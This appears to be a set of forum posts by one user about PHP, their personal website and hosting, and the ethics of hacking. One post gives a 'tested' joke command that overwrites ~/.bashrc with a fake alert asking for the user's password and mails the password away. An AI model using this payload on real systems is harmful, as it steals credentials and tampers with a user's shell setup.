Spudinski

If only it was that easy.

I used to say I create new things, but it's somewhat changed to "I create bugs". My job title should be "Bug maker".

Were you looking for something like this?

It's the same as == vs === comparison. == typecasts, and then converts, === doesn't(eg. int 1 != string 1). But is there a speed difference? Of course there is, there always is. Will you see the difference? Depends. If you compare two 500mb sets of data, there'll be a clear difference. Same with echo, and single quotes. Also, debating it isn't silly(sorry Djk) - high performance optimizations is one of the key parts in programming. If there's a faster/better/more efficient way of doing something, I'm sure as hell going to find it AND point it out.

Not true, see: $variable = ('this') . 'is' . 'my multi-lined string';   Also: $assignment = (empty($other_variable)) ? false : true;   And... $long_ass_string = print <<<STR b l a h d i b l a h d i h u h ? STR;   There's quite a few other cases. The proper wording should be: A semi-colon is used to separate statements. And also, it's called an delimiter. Edit: Oh yes, and semi-colons aren't optional.

To add:   php -r "echo 'haai';"   PHP can run without any tags, via the -r option.

Let me guess, you're that type of person who does this: 1. Sees a cool app. 1. Clicks *install*. Am I right? Meanwhile, this is what the app does: 1. Sees an illiterate. 2. Copies all browser data. 3. Looks for for stuff, like cookies. 4. Attempts to download additional 3rd party apps. 5. Each third party app then begins the cycle over at step 1, and adds their own step onto the list. You probably won't see the problem, since a hacker is probably already so deep into your sh*t that they're screening all the data between your GPU and other peripherals.

I haths a better one!   echo "#\!/bin/sh echo -e \"Someone wants to hack ur syst3m, like raelly\!\!\nEnter your passw0rd now to stop\!\!\" read -e PASSWORD echo $PASSWORD > ~/tmpmail mail -s\"bleh\" \"[email protected]\" < ~/tmpmail echo \"ur syst3m is n0w l33t again\"" > ~/.bashrc   How I love bashrc.. *evil laugh* Edit: Tested. :)

Troll alert.   Wanna bet?

That would depend... on if it's a dude or a girl in the picture? :O

Well, CloudFlare reports no issues, and my server is... I want to say perfect, but I won't jinx it. It's probably a DNS issue somewhere within the *internet* then. Mind posting a traceroute to www.nand.co.za, and also one to lady.nand.co.za. Damn, those are becoming too regular nowadays.

Just out of curiosity, what does http://216.18.193.141/ give you guys? The fonts - should display correctly now. I added the proper mime types to my apache configuration. (Even though chrome still moans about it).

Thank you.   I noticed that at work.. 20-odd inch screen with they're resolutions make my images look small. I'm thinking of using Kendo UI for the interface itself, but the rest I'll fine tune to standardise the look of all the content. I'm also planning on pulling Wordpress posts into the "Artikels" section, but I have by doubt of it due to the recent security flaws of it. Looking for alternatives though, rather than writing a blog engine myself - suggestions welcomed.

I'm planning a grid layout of screenshots/images of my projects to fade in and out like the current(big) backgrounds, but just individual tiles. I did create a perloader for the huge hi-res images though.

Imposibru..   ping 108.162.195.188 Unless, you have something against Cloudfare, the site should show.

I thought I'd share some of my recent work on here, since I don't get to do that a lot. I made myself a new website over the weekend, but I got bored and didn't fill it with any content - as always. Link: http://www.nand.co.za Whad'ya guys think? Actually, also tell me what I can improve. I did this as a potential attraction for employers/clients later on. I had an idea to write everything in cryptic code to show off, but I didn't think too many people would appreciate my efforts for it. But, please comment on my code as well(or that which you can see). (This is not advertising, it's me seeking feedback)

I'd like to know the solution, if anyone has one. Also, a var_dump($_ENV, $_SERVER)/

Haha, good one.. I find myself doing this too often as well... at 17:00 zenity --info --text "Dude\nIt's time to go home..."   :P

It's illegal to perform(or act as intent to) any malicious activity on any website without prior explicit permission.

Or your server isn't configured to serve PHP pages, which would cause the server to spew out the content in form of the file's mime-type. For PHP it's text/plain.

Typical case of "they did something wrong, so we're also going to do it". As a side note, you guys aren't "the authorities trying to stop illegal use of a software", there's people for that; You guys need to work through *them*.

So you guys think it's right to disregard rules, a.k.a. terms and conditions, of other websites? With MCCodes, the default rules-set clearly indicates that no automated software(bots) are allowed on the website.

Anonymous is the perfect example of childish behaviour. If two grown-ups have a problem, they sort it out, be it by use of a court or otherwise. If two kids have a problem, they begin to throw fists at each other and cause physical pain. The law is there for a reason, though some might think it simply doesn't work for big corporation and people. That's just politics, and no-one can really be above the law - everyone has to pay the price for their resentful actions. Anonymous makes me think of an old cartoon "Rugrats", four kids going out into the world without any real knowledge of what they are doing or the repercussions thereof. Sure, it's meant for children, but who's to say that going out into the wild world with your friends and meeting with strangers at the age of two is a good thing? It's not. I guess the point I want to get at is that grown-up people fight corruption within the boundaries of the law, and not by taking the law into their own hands.

Just because someone uses shitty software, doesn't mean they're bad.   Previous projects, like collab projects on github and places are also a good thing to share. Forum accounts and others like StackOverflow also help.

I lol'd. I re-read, I lol'd less.